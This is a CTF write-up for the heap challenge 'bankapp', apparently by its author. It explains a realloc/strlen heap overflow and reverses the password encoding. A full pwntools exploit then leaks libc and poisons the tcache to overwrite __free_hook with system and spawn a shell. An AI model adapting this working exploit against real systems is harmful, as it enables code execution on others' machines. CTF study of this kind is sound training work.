bankapp

bankapp was the challenge I created for the Boitatech CTF 2021, it was a medium -> hard heap exploitation challenge.

Files

The binary

Once we run the program we are allowed to register a new user to the bank app or login with an existing user.

The register feature allows us to set the username and password and control their length, and also allows us to set our account balance and then returns our account id for us to login

Once we are logged in, we can deposite more money, withdraw the money we have, change our username, change our password, delete our account or logout.

if we take a look at the decompiled code we can realise that each account create is allocated in the heap.

__int64 regist()
{
  int v0; // ebx
  __int64 result; // rax
  __int64 v2; // rbx
  const char *v3; // rbx
  __int64 v4; // rbx
  char buf[408]; // [rsp+0h] [rbp-1B0h] BYREF
  unsigned int size[4]; // [rsp+198h] [rbp-18h] BYREF

  v0 = ctr;
  accounts[v0] = malloc(0x28uLL);
  if ( ctr <= 59 )
  {
    puts("Username length: ");
    __isoc99_scanf("%u", &size[1]);
    if ( size[1] <= 0x190 )
    {
      *(_DWORD *)accounts[ctr] = size[1];
      v2 = accounts[ctr];
      *(_QWORD *)(v2 + 8) = malloc(size[1]);
      puts("Username: ");
      read(0, *(void **)(accounts[ctr] + 8LL), size[1]);
      v3 = *(const char **)(accounts[ctr] + 8LL);
      v3[strcspn(v3, "\n")] = 0;
      puts("Password length: ");
      __isoc99_scanf("%u", size);
      if ( size[0] <= 0x190 )
      {
        *(_DWORD *)(accounts[ctr] + 16LL) = size[1];
        v4 = accounts[ctr];
        *(_QWORD *)(v4 + 24) = malloc(size[0]);
        puts("Password: ");
        read(0, buf, size[0]);
        buf[strcspn(buf, "\n")] = 0;
        encrypt(buf);
        memcpy(*(void **)(accounts[ctr] + 24LL), buf, *(unsigned int *)(accounts[ctr] + 16LL));
        *(_DWORD *)(accounts[ctr] + 32LL) = ctr;
        puts("Account balance: ");
        __isoc99_scanf("%u", accounts[ctr] + 36LL);
        printf("Your account id is: %d\n", (unsigned int)ctr);
        ++ctr;
      }
      else
      {
        puts("Too big!\n");
      }
      result = (unsigned int)ctr;
    }
    else
    {
      puts("Too big!");
      result = (unsigned int)ctr;
    }
  }
  else
  {
    puts("Too many users! Can't register anymore");
    result = (unsigned int)ctr;
  }
  return result;
}

Reading this code we can understand that the accounts are allocated in structures like that:

We also need to notice that the password isn't stored in plaintext but it's rather stored using a (pretty bad) encryption system.

Here is the decompiled code of the en encryption function:

size_t __fastcall encrypt(const char *a1)
{
  size_t result; // rax
  int v2; // [rsp+18h] [rbp-18h]
  int i; // [rsp+1Ch] [rbp-14h]

  v2 = 0;
  for ( i = 0; ; ++i )
  {
    result = strlen(a1);
    if ( i >= result )
      break;
    a1[i] += secret_key[4 * v2];
    if ( v2 <= 8 )
      ++v2;
    else
      v2 = 0;
  }
  return result;
}

There is a global variable called secret key that is used in the encryption.

After extracting the key from the memory we get 4,6,3,5,2,1,4,2,5,1 each of this integers is used to encrypt a character of the password and then it loops back to the start.

Heap overflow

// int change_password()
{
  __int64 v0; // rbx
  size_t v1; // rax
  int result; // eax
  int v3; // [rsp+8h] [rbp-1A8h] BYREF
  unsigned int v4; // [rsp+Ch] [rbp-1A4h] BYREF
  char buf[408]; // [rsp+10h] [rbp-1A0h] BYREF

  puts("New password:");
  read(0, buf, 0x190uLL);
  buf[strcspn(buf, "\n")] = 0;
  encrypt(buf);
  if ( strlen(buf) <= *(unsigned int *)(accounts[id] + 16LL) )
  {
    memcpy(*(void **)(accounts[id] + 24LL), buf, *(unsigned int *)(accounts[id] + 16LL));
    result = puts("Password updated");
  }
  else
  {
    puts("Password buffer too small!\nDo you want to resize it?\n1 - Yes\n2 - No");
    __isoc99_scanf("%u", &v3);
    if ( v3 == 1 )
    {
      puts("New size:");
      __isoc99_scanf("%u", &v4);
      if ( *(_DWORD *)(accounts[id] + 16LL) >= v4 || (int)v4 > 400 )
      {
        result = puts("Invalid size");
      }
      else
      {
        *(_DWORD *)(accounts[id] + 16LL) = v4;
        v0 = accounts[id];
        *(_QWORD *)(v0 + 24) = realloc(*(void **)(v0 + 24), (int)v4);
        v1 = strlen(buf);
        memcpy(*(void **)(accounts[id] + 24LL), buf, v1);
        result = puts("Password updated");
      }
    }
    else
    {
      result = puts("Can't update password");
    }
  }
  return result;
}

If we read the change_password function we can see that, in case the user tries to input a password larger than the already allocated buffer can support, it will ask the user to provide a new size, the function then checks if the new size is bigger than the old one and, if it is, it will realloc the chunk and memcpy the new password to it. The problem is in the size used for the memcpy, instead of using the user provided size which was used to realloc the buffer, instead, it gets the strlen() of the password before copying and uses it as the count, allowing us to copy a password larger than the new buffer, creating a heap overflow situation.

Reversing the encryption

As we know, the heap overflow is in the password, which is stored with encryption. We also have the secret key. If we want to control arbitrary data with the overflow we need to be able to control the encrypted data, which is possible using the extracted secret key.

The algorithm is pretty straight forward, for each position in the password it just adds the number the corresponds to this position in the key * 4 to the char.

If we want to create a reverse algorithm we just need to do the opposite operation and subtract instead of adding, so when the program adds the values at each position, we will get the original data we wanted. I wrote a fairly simple implementation using python:

def encode(payload):
    _p = ''
    j = 0
    for i in range(len(payload)):
        _p += chr(ord(payload[i]) - secret_key[j])
        if j >= 9:
            j = 0
        else:
            j += 1
    return _p

This will encode any data that we provide so the encrypted password stored in the heap looks exactly like that data.

Starting to write an exploit

As always, I wrote a few helper functions to help interact with the binary.

#!/usr/bin/env python2
from pwn import *

# Definitions
e = context.binary = ELF('./bankapp',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
context.terminal = ['terminator','-e']
secret_key = [4,6,3,5,2,1,4,2,5,1]

if args.REMOTE:
    timeout = 0.4
    io = remote('35.202.156.135',20101)
else:
    timeout = 0.01
    io = process(e.path)
    context.log_level = 'DEBUG'

def login(id,pswd):
    io.recvrepeat(timeout)
    io.sendline('1')
    io.recvrepeat(timeout)
    io.sendline(str(id))
    io.recvrepeat(timeout)
    io.sendline(pswd)

def register(usrlen,user,pswdlen,pswd,balance = 1000):
    io.recvrepeat(timeout)
    io.sendline('2')
    io.recvrepeat(timeout)
    io.sendline(str(usrlen))
    io.recvrepeat(timeout)
    io.sendline(user)
    io.recvrepeat(timeout)
    io.sendline(str(pswdlen))
    io.recvrepeat(timeout)
    io.sendline(pswd)
    io.recvrepeat(timeout)
    io.sendline(str(balance))

def change_pass(pswd,pswdlen):
    io.recvrepeat(timeout)
    io.sendline('4')
    io.recvrepeat(timeout)
    io.sendline(pswd)
    io.recvrepeat(timeout)
    io.sendline('1')
    io.recvrepeat(timeout)
    io.sendline(str(pswdlen))

def logout():
    io.sendline('6')

def delete():
    io.sendline('5')
    io.sendline('1')
    
def encode(payload):
    _p = ''
    j = 0
    for i in range(len(payload)):
        _p += chr(ord(payload[i]) - secret_key[j])
        if j >= 9:
            j = 0
        else:
            j += 1
    return _p

If we add two accounts and delete the second one, we will get a free chunk lying below a password chunk.

With the setting above we can abuse the heap overflow to overwrite a tcache chunk's fd pointer

Leaking libc

We already have an exploit plan, but we still need a libc address so we can abuse the write primitive from the tcache poisoning.

This challenge restricts the buffer size to 400, so it's impossible to get a chunk straight to the unsorted bin for an easy leak. Although, it's possible to make 7 allocations to fill up a tcache list so the next allocation of this size goes to the unsorted bin, notice that this only works for sizes out of the fastbin range (0x90). There is no use-after-free here but we can abuse the fact that chunks can be allocated without initializing data to leak the pointers left by the free chunk that was where the newly allocated chunk is.

Tcache poisoning

Now we have a libc leak and can get the address of free_hook and system. using our heap overflow we can overwrite the fd pointer of the free chunk below and make it point to the free hook so we can overwrite it with the address of system.

Final Exploit

#!/usr/bin/env python2
from pwn import *

# Definitions
e = context.binary = ELF('./bankapp',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
context.terminal = ['terminator','-e']
secret_key = [4,6,3,5,2,1,4,2,5,1]

if args.REMOTE:
    timeout = 0.4
    io = remote('35.202.156.135',20101)
else:
    timeout = 0.01
    io = process(e.path)
    context.log_level = 'DEBUG'

def login(id,pswd):
    io.recvrepeat(timeout)
    io.sendline('1')
    io.recvrepeat(timeout)
    io.sendline(str(id))
    io.recvrepeat(timeout)
    io.sendline(pswd)

def register(usrlen,user,pswdlen,pswd,balance = 1000):
    io.recvrepeat(timeout)
    io.sendline('2')
    io.recvrepeat(timeout)
    io.sendline(str(usrlen))
    io.recvrepeat(timeout)
    io.sendline(user)
    io.recvrepeat(timeout)
    io.sendline(str(pswdlen))
    io.recvrepeat(timeout)
    io.sendline(pswd)
    io.recvrepeat(timeout)
    io.sendline(str(balance))

def change_pass(pswd,pswdlen):
    io.recvrepeat(timeout)
    io.sendline('4')
    io.recvrepeat(timeout)
    io.sendline(pswd)
    io.recvrepeat(timeout)
    io.sendline('1')
    io.recvrepeat(timeout)
    io.sendline(str(pswdlen))

def logout():
    io.sendline('6')

def delete():
    io.sendline('5')
    io.sendline('1')

def encode(payload):
    _p = ''
    j = 0
    for i in range(len(payload)):
        _p += chr(ord(payload[i]) - secret_key[j])
        if j >= 9:
            j = 0
        else:
            j += 1
    return _p

# Exploit
def parse_leak():
    io.recvuntil(8*'A')
    leak = u64(io.recv(6).ljust(8,'\x00')) - 0x1bebe0
    return leak

def leak_libc():
    io.recvrepeat(timeout)
    io.sendline('2')
    io.recvrepeat(timeout)
    io.sendline(str(0x90))
    io.recv(0xb)
    io.send(8*'A')
    io.recvrepeat(timeout)
    io.sendline(str(0x90))
    io.recvline(timeout)
    io.sendline('0xten')
    io.recvrepeat(timeout)
    io.sendline('1000')
    login('4','0xten')
    libc.address = parse_leak()
    delete()

def prep():

    # Leak libc
    log.success('Leaking libc')
    for i in range(5):
        register(0x90,'0xten',0x90,'0xten')
    for i in range(5):
        login(i,'0xten')
        delete()
    for i in range(4):
        register(0x90,'0xten',0x90,'0xten')
    leak_libc()
    log.success('Libc: ' + hex(libc.address))
    for i in range(4):
        login(i,'0xten')
        delete()

def pwn():

    # Heap overflow
    log.success('Triggering overflow')
    register(20,'0xten',20,'0xten')
    register(20,'0xten',20,'0xten')
    register(20,'0xten',20,'0xten')
    login(2,'0xten')
    delete()
    login(1,'0xten')
    delete()
    login(0,'0xten')

    # Poison tcache
    log.success('Poisoning tcache')
    change_pass(encode(32*'B'+p64(libc.sym['__free_hook'])[:6]),21)
    logout()
    register(20,'/bin/sh',20,'0xten')
    register(32,'0xten',16,encode(p64(libc.sym['system'])[:6])+'\x00\x00')
    login(1,'0xten')
    log.success('Popping shell')
    delete()
    io.recv(2048)

prep()
pwn()
io.interactive()

Last updated